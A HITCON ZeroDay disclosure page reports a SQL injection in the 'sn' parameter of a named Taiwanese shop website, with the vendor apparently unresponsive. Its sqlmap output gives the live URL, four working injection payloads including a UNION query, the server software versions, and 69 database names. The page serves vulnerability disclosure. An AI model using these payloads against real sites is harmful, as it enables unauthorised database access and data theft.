彰藝坊 網站資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-00192
  •  發信 Vendor: 彰藝坊古典戲偶工作室
  • Title: 彰藝坊 網站資料庫注入漏洞
  • Introduction: SQL injection

處理狀態

目前狀態

公開
Last Update : 2018/04/20
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2018/02/18 21:00:58 : 新提交 (由 Mujihad 更新此狀態)
  • 2018/02/20 11:28:37 : 新提交 (由 Mujihad 更新此狀態)
  • 2018/02/20 11:29:10 : 新提交 (由 Mujihad 更新此狀態)
  • 2018/02/20 21:55:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/02/25 04:27:13 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/02/25 04:27:14 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/20 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2018-00192
  • 通報者：jx9w02 (Mujihad)
  • 風險：中
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

http://www.cyf-bodehi.com.tw/shop/product_info.php?sn=94

敘述

GET parameter 'sn' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 122 HTTP(s) requests:

Parameter: sn (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sn=94' AND 3301=3301 AND 'nHFM'='nHFM

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: sn=94' AND (SELECT 7511 FROM(SELECT COUNT(*),CONCAT(0x716a626b71,(SELECT (ELT(7511=7511,1))),0x716b6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'DpDJ'='DpDJ

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: sn=94' AND SLEEP(5) AND 'roYE'='roYE

Type: UNION query
Title: Generic UNION query (NULL) - 36 columns
Payload: sn=-4545' UNION ALL SELECT NULL,CONCAT(0x716a626b71,0x4f715a49644b524b654c77795856586b66557a6d484c6c7153694f574d685a54624a506861696846,0x716b6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- vhgm

[21:25:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0

available databases [69]:
[] acqa
[] ACTEST
[] blog_liusir
[] cake
[] cubicrisk
[] cyut_iic
[] demo
[] erp
[] erp_3mencollection
[] erp_avignon
[] erp_bear
[] erp_bern
[] erp_citymilk
[] erp_cubic
[] erp_demo
[] erp_demo_gnw
[] erp_education
[] erp_fair
[] erp_gnw
[] erp_ihia
[] erp_itg
[] erp_itg_cc
[] erp_lau_new
[] erp_laughtea
[] erp_laughtea_jp
[] erp_leather
[] erp_lianqyu
[] erp_linu
[] erp_old
[] erp_payment
[] erp_sereneti
[] erp_tek
[] erp_test
[] erp_ttcharity
[] erp_xainu
[] erp_yeegintan
[] gallery3
[] information_schema
[] inja_control
[] inventory_laughtea
[] lau_test
[] laughtea
[] liukingdom
[] liusir_idv
[] liusirnet
[] mioart
[] mysql
[] newshop
[] papaya
[] payment
[] paypagedb
[] pissarro
[] ps
[] rai
[] s00001
[] seed
[] seed_live
[] seed_royal_secret
[] shop_cyf
[] shop_cyf_bak
[] shop_demo
[] shop_laughtea
[] shop_linu
[] shop_shaingwai
[] shop_system
[] tan_web
[] wifi_management
[] wugilu
[*] yjst

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;